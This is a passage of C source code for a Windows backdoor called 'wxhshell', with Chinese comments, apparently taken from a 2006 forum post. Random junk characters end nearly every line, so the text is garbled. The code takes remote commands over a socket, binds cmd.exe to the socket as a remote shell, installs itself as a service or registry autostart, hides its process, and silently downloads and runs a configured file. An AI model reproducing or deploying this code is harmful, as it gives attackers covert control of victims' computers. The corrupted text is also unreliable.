.IJ_jt-^d  
    switch(cmd[0]) { /\) a  
  x 2QIPUlf  
  // 帮助 D3c2^r $Z  
  case '?': { \u&_sBLKV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z]3 `*/B  
    break; #oJ5k8Wy  
  } iVfgDo  
  // 安装 ` gW<M  
  case 'i': { _sy'.Fo  
    if(Install()) rDdzxrKg{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6{qIU}!  
    else $v8l0JA *  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A6oq.I0  
    break; ql<rU@  
    } a=TG[* s  
  // 卸载  mA7m  
  case 'r': { MV=9!{`  
    if(Uninstall()) L^^4=ao0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7E!7"2e a  
    else kw`WH)+F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8_K6 0eXz  
    break; c)&>$S8*  
    } s6o>m*{  
  // 显示 wxhshell 所在路径 Rte+(- iL  
  case 'p': { g=T/_  
    char svExeFile[MAX_PATH]; t\v+ogbk)  
    strcpy(svExeFile,"\n\r"); \(p{t  
      strcat(svExeFile,ExeFile); gN {'UDg  
        send(wsh,svExeFile,strlen(svExeFile),0); d1joVUYE  
    break; K) Zlc0e  
    } 79=45'8  
  // 重启 ZX~ _g@  
  case 'b': { T#Z%y!6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dd|W@Xp -  
    if(Boot(REBOOT)) KLC{7"6e)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AnZclqtb  
    else { ]S 7^ITn  
    closesocket(wsh); oVCmI"'  
    ExitThread(0); X bkb5EkA  
    } ):EBgg4-N  
    break; 8[ry |J  
    } 2AVc? 9@  
  // 关机 @ \2#Dpr  
  case 'd': { mKq"3 4F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); woq)\;CK  
    if(Boot(SHUTDOWN)) 2q} ..  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xv7"WFb  
    else { wcDjg&:=ml  
    closesocket(wsh); +\#Fd  
    ExitThread(0); DG;y6#|p  
    } x?D/.vrOY  
    break; 6aOp[-Le  
    } g<\z=H  
  // 获取shell H;WY!X$x  
  case 's': { }jF+`!*!  
    CmdShell(wsh); 8cHE[I  
    closesocket(wsh); 6g>)6ux>aV  
    ExitThread(0); 0=v{RQ;W4  
    break; (sw-~U%  
  } `"k9wC1  
  // 退出 #G3N(wV3  
  case 'x': { oQ+61!5>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p SN~DvR  
    CloseIt(wsh); AW5iV3  
    break; |sgXh9%x<  
    } &S74mV  
  // 离开 ,ZI\dtl  
  case 'q': { GO5~!g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6xgv:,  
    closesocket(wsh); >Cd9fJ&0gP  
    WSACleanup(); iz}sM>^  
    exit(1); )WR_ ug  
    break; G5]1s  
        } {,O`rW_eS  
  } $R{8z-,Q  
  } i+M*J#'  
qg,Nb  
  // 提示信息 HW7FP]NH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L~FTr  
} E1>/R  
  } :_d3//|  
Na!za'qk[o  
  return; [^PCm Z6n  
} nbvkP  
c 8'Cq7  
// shell模块句柄 Sw! j=`O  
int CmdShell(SOCKET sock) )@:l^$x  
{ xDrV5bg  
STARTUPINFO si; Ex($  
ZeroMemory(&si,sizeof(si)); q/6UK =  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <lFY7' aY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'm1.X-$V  
PROCESS_INFORMATION ProcessInfo; (M% ;~y\  
char cmdline[]="cmd"; _C+DBA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oK-!(1A-  
  return 0; h$h]%y  
} t;Wotfc[#0  
y' tRANxQ  
// 自身启动模式 S=R 3"~p  
int StartFromService(void) l`rC0kJ]  
{ M4<+%EV}  
typedef struct M9V-$ _)  
{ $N.`)S<  
  DWORD ExitStatus;   8Uj:  
  DWORD PebBaseAddress; ^L O]Z  
  DWORD AffinityMask; ?6:cNdN  
  DWORD BasePriority; 29O]S8  
  ULONG UniqueProcessId; G\/IM  
  ULONG InheritedFromUniqueProcessId; k46gY7y,9  
}   PROCESS_BASIC_INFORMATION; QAaF@Do  
#Go(tS~o  
PROCNTQSIP NtQueryInformationProcess; 2YIF=YWO},  
G\mKCaI8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jyjQzt >\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UA0tFeH  
+2O=s<fp  
  HANDLE             hProcess; 2}`R"MeS  
  PROCESS_BASIC_INFORMATION pbi; ;F,qS0lzE  
+v1-.z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g5TkD~w"  
  if(NULL == hInst ) return 0; J8h7e}n?  
s-5wbi.C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o_:Qk;t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l4 `^!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9%TT> 2#  
 tJ1-DoU  
  if (!NtQueryInformationProcess) return 0; xvO 3BU~2  
A5+5J_)*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <rMv0y+r  
  if(!hProcess) return 0; iwkJ~(5z  
!Ud:?U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K!7q!%Ju  
gD5P!}s[u0  
  CloseHandle(hProcess); *zSxG[s  
=WjJN Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4a 4N C  
if(hProcess==NULL) return 0; 7%tR&F -u  
\AJS,QD  
HMODULE hMod; .S6ji~;r  
char procName[255]; 8qmknJC  
unsigned long cbNeeded; `+fk`5Y  
<hMtE/05B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6ZTaQPtm  
$*i7?S@~-  
  CloseHandle(hProcess); @jKDj]\  
uwId  
if(strstr(procName,"services")) return 1; // 以服务启动 86#-q7aX  
&! OGIYC(  
  return 0; // 注册表启动 :F9q>  
} y,^";7U  
n/?eZx1  
// 主模块 (`F|nG=X  
int StartWxhshell(LPSTR lpCmdLine) TIETj~+  
{ ?^Pq/VtZ  
  SOCKET wsl; g?gqkoI  
BOOL val=TRUE; db^aL8  
  int port=0; jwq\stjD  
  struct sockaddr_in door; }D Z)W0RDe  
`i9N )3 X  
  if(wscfg.ws_autoins) Install(); /M]eZ~QKD  
=g >.X9lr  
port=atoi(lpCmdLine); /Ht/F)&P  
KS?mw`Nr  
if(port<=0) port=wscfg.ws_port; KjBOjD'I  
T G_bje  
  WSADATA data; U>in2u 9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _HLC>pH~#  
6<<'bi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "bPCOJ[v9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ' *}^@[&  
  door.sin_family = AF_INET; rAM *\=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ka!Bmv)  
  door.sin_port = htons(port); 0~qf-x  
l 4!kxXf-<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6NzBpur 2H  
closesocket(wsl); sRi?]9JIl  
return 1; 5GaoJ v  
} Q js2hj-$  
"Wo.8  
  if(listen(wsl,2) == INVALID_SOCKET) { QH4k!^  
closesocket(wsl); IF5sqv  
return 1; Jc`Rs"2  
} KUF$h Er  
  Wxhshell(wsl); ~:T3|  
  WSACleanup(); | O57N'/  
>6OCKl  
return 0; xLe =d|6  
Ir!2^:]!  
} 4 #aqz9k  
{d^Q7A:`  
// 以NT服务方式启动 4sb )^3T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r@olC7&  
{ +mivqR~{{  
DWORD   status = 0; kNRyOUy  
  DWORD   specificError = 0xfffffff; yQ8M >H#J  
L^3~gM"!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8n;kK?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,>&?ty9o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; anK[P'Y  
  serviceStatus.dwWin32ExitCode     = 0; s`;0 t YG  
  serviceStatus.dwServiceSpecificExitCode = 0; qo6 1O\qm  
  serviceStatus.dwCheckPoint       = 0; ylkpYd  
  serviceStatus.dwWaitHint       = 0; >sn"   
MhHr*!N"}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )!N2'Ld  
  if (hServiceStatusHandle==0) return; Q.r B\8ea  
[&1iF1)4  
status = GetLastError(); I%pCm||p  
  if (status!=NO_ERROR) M_qP!+Y  
{ #:]vUQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 's=Q.s  
    serviceStatus.dwCheckPoint       = 0; hm*Th  
    serviceStatus.dwWaitHint       = 0; c zZrP"  
    serviceStatus.dwWin32ExitCode     = status; #x, ]D  
    serviceStatus.dwServiceSpecificExitCode = specificError; T {hyt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NnJ>0|74g  
    return; $/4Wod*l  
  } yonJd  
3js)niT9u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;X+G6F'  
  serviceStatus.dwCheckPoint       = 0; %2^['8t#NH  
  serviceStatus.dwWaitHint       = 0; Sja"(sJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \%w7D6dEZ  
} 7'-)/Pk  
&z./4X  
// 处理NT服务事件,比如:启动、停止 gUks O!7^1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p6<E=5RRd1  
{ tfi2y]{A  
switch(fdwControl) N5:D8oWWXR  
{ 2A dX)iF@  
case SERVICE_CONTROL_STOP: vN{vJlpY  
  serviceStatus.dwWin32ExitCode = 0; w k-Mu\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ({*.!ty  
  serviceStatus.dwCheckPoint   = 0; {%]NpFg#b  
  serviceStatus.dwWaitHint     = 0; SlH7-"Ag  
  { B ]|5?QP-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c28oLT1|D  
  } b|X>3(  
  return; ;n yB  
case SERVICE_CONTROL_PAUSE: uKLOh<oio  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 27h/6i3  
  break; 0hH Iz4(  
case SERVICE_CONTROL_CONTINUE: wZ (uq?3S`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hl%+F 0^?  
  break; r?Ev.m  
case SERVICE_CONTROL_INTERROGATE: X}65\6  
  break; S&4w`hdD>~  
}; ,Ut!u)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '^P*F9  
} 4aIlzaA  
B`RW-14g  
// 标准应用程序主函数 hq|j C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jzu l{'g  
{ Ymrpf  
ZI#SYEF6  
// 获取操作系统版本 kVB}r.NHP  
OsIsNt=GetOsVer(); uK"$=v6|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2vk8+LA(6  
P:zEx]Y%  
  // 从命令行安装 W #JVUGYD  
  if(strpbrk(lpCmdLine,"iI")) Install(); NO0[`jy(  
KweHY,  
  // 下载执行文件 i?P]}JENM  
if(wscfg.ws_downexe) { zm_hLk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d~Z:$&r  
  WinExec(wscfg.ws_filenam,SW_HIDE); sKE*AGFL d  
} K4VPmkG  
45!`g+)  
if(!OsIsNt) { '3Lx!pMhN  
// 如果时win9x,隐藏进程并且设置为注册表启动 eog,EP"a8Y  
HideProc(); 9X^-)G>  
StartWxhshell(lpCmdLine); OFPd6,(E  
} %]P@G^Bv  
else ZRVF{D??"%  
  if(StartFromService()) {?h6*>-^Z  
  // 以服务方式启动 !O%f)v?  
  StartServiceCtrlDispatcher(DispatchTable); tM?I()Y&P  
else :,J86#S)  
  // 普通方式启动 \:f}X?:  
  StartWxhshell(lpCmdLine); XN0RT>@  
8xGkh?%  
return 0; ,_X,V!  
}
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只看该作者 1 发表于: 2006-10-10
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